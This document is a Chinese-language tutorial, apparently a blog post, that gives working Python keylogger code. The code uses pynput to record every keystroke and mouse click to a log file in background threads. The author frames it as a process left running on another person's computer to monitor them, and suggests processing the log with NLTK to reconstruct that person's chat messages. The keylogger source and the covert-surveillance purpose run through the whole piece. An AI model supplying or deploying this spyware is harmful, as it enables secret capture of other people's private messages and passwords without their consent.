Python电脑键盘及鼠标记录程序，电脑监视程序，程序运行截图：
1.使用pynput库
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多，比如 pygame 等游戏库，但是当我们只需要监控键盘和鼠标时，它们就显得过于笨重了。
2.对键盘监控
在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来，代码大概可以这样：
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
3.对鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
你会发现，每条打印都被打印了两次，这是因为按下去和抬起来都会触发鼠标事件。
4.监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
这样键盘操作已经全部被记录，通过对这个日志文件进行简单的 NLTK 语言处理，就能复原聊天记录。
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